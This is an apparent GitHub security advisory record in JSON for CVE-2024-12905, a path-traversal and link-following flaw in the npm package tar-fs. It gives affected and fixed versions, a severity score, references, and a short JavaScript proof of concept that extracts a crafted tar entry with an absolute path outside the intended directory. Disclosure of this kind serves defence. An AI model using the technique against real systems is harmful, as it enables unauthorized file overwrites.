{ "schema_version": "1.4.0", "id": "GHSA-pq67-2wwv-3xjx", "modified": "2025-09-29T16:38:27Z", "published": "2025-03-27T18:31:28Z", "aliases": [ "CVE-2024-12905" ], "summary": "tar-fs Vulnerable to Link Following and Path Traversal via Extracting a Crafted tar File", "details": "An Improper Link Resolution Before File Access (\"Link Following\") and Improper Limitation of a Pathname to a Restricted Directory (\"Path Traversal\"). This vulnerability occurs when extracting a maliciously crafted tar file, which can result in unauthorized file writes or overwrites outside the intended extraction directory. The issue is associated with index.js in the tar-fs package.\n\nThis issue affects tar-fs: from 0.0.0 before 1.16.4, from 2.0.0 before 2.1.2, from 3.0.0 before 3.0.7.\n\n### PoC\n```javascript\n// Create a writable stream to extract the tar content\nconst extractStream = tarfs.extract('/', {\n // We can ignore the file type checks to allow the extraction of the malicious file\n ignore: (name) => false,\n});\n\n// Create a tar stream\nconst tarStream = tarfs.pack().on('error', (err) => {\n throw err;\n});\n\n// Append the malicious entry to the tar stream\ntarStream.entry({ name: '/flag.txt', mode: 0o644 }, Buffer.from('This is a flag!'));\n\n// Finalize the tar stream\ntarStream.finalize();\n\n// Pipe the tar stream into the extract stream\ntarStream.pipe(extractStream);\n```", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "affected": [ { "package": { "ecosystem": "npm", "name": "tar-fs" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.16.4" } ] } ] }, { "package": { "ecosystem": "npm", "name": "tar-fs" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.0.0" }, { "fixed": "2.1.2" } ] } ] }, { "package": { "ecosystem": "npm", "name": "tar-fs" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "3.0.0" }, { "fixed": "3.0.7" } ] } ] } ], "references": [ { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12905" }, { "type": "WEB", "url": "https://github.com/mafintosh/tar-fs/commit/a1dd7e7c7f4b4a8bd2ab60f513baca573b44e2ed" }, { "type": "WEB", "url": "https://arxiv.org/abs/2506.04962" }, { "type": "WEB", "url": "https://arxiv.org/pdf/2506.04962" }, { "type": "PACKAGE", "url": "https://github.com/mafintosh/tar-fs" } ], "database_specific": { "cwe_ids": [ "CWE-22" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2025-03-28T22:11:42Z", "nvd_published_at": "2025-03-27T17:15:53Z" } }